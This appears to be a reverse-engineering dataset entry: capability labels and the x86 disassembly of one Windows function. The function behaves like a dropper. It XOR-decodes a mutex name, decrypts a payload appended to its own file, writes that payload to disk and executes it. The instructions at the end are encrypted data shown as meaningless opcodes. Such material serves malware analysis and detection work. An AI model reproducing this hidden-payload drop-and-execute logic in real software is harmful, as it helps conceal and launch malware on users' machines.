Function at 0x401000
Capabilities:
Create process on windows
Delete file
Encode data using xor
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x96c
lea esi, [esp + 0x16c]
mov edx, 0
mov al, byte [edx + 0x401260]
xor eax, 0xffffffd8
mov byte [esi], al
inc esi
inc edx
cmp edx, 0x26
jne 0x401016
mov byte [esi], 0
sub esp, 4
push 0x104
lea edi, [esp + 0x70]
push edi
push 0
call 0x4012a0
lea ebp, [esp + 0x170]
push ebp
push 1
push 0
call sub.KERNEL32.dll_CreateMutexA
mov byte [esi], 0x29
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 4
test eax, eax
je 0x401238
cmp eax, 0xffffffff
je 0x401238
push 2
push 0
push 0xffffffffffffff85
push eax
call sub.KERNEL32.dll_SetFilePointer
sub esp, 0xc
push 0
lea eax, [esp + 0x74]
push eax
push 0x7b
push ebp
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov bl, byte [esp + 0x178]
xor ebx, 0xffffffa4
lea eax, [esp + 0x17a]
add esp, 0xc
lea edx, [esp + 0x1e7]
xor byte [eax - 1], bl
inc eax
cmp eax, edx
jne 0x4010be
lea edx, [esp + 0x10]
lea eax, [esp + 0x54]
cmp edx, eax
jae 0x4010da
mov byte [edx], 0
inc edx
cmp edx, eax
jne 0x4010d2
sub esp, 8
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x19d]
push eax
call sub.KERNEL32.dll_CreateProcessA
add esp, 8
test eax, eax
jne 0x401238
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x84]
push eax
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
add esp, 4
test eax, eax
je 0x401238
cmp eax, 0xffffffff
je 0x401238
push 2
push 0
mov eax, 0xffffff85
sub eax, dword [esp + 0x175]
push eax
push esi
call sub.KERNEL32.dll_SetFilePointer
mov edi, dword [esp + 0x16d]
call sub.KERNEL32.dll_GetProcessHeap
sub esp, 4
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov ebp, eax
sub esp, 8
push 0
lea eax, [esp + 0x74]
push eax
push edi
push ebp
push esi
call sub.KERNEL32.dll_ReadFile
push esi
call sub.KERNEL32.dll_CloseHandle
mov ecx, ebp
mov eax, ebp
add eax, dword [esp + 0x179]
add esp, 0xc
cmp ebp, eax
jae 0x4011af
mov edx, ebp
xor byte [edx], bl
inc edx
mov eax, ecx
add eax, dword [esp + 0x16d]
cmp eax, edx
ja 0x40119f
sub esp, 8
push pe_nt_image_headers32
lea esi, [esp + 0x17d]
push esi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 4
push esi
call sub.KERNEL32.dll_DeleteFileA
sub esp, 8
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 0x14
test eax, eax
je 0x401238
cmp eax, 0xffffffff
je 0x401238
sub esp, 0xc
push 0
lea eax, [esp + 0x74]
push eax
push dword [esp + 0x181]
push ebp
push ebx
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
sub esp, 0xc
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.KERNEL32.dll_CreateProcessA
add esp, 0x18
sub esp, 0xc
push 0
call sub.KERNEL32.dll_ExitProcess
jmp 0x401260
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [0xed9ee8e9], eax
out dx, eax
loopne 0x401251
cdq
cmc
call 0xf62ff40b
call 0xf621f412
popfd
sahf
out dx, eax
out dx, eax
cmc
lcall 0xe9e1, 0xeae0eb99
out dx, al
popfd
in eax, dx
out dx, eax
loope 0x40122b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]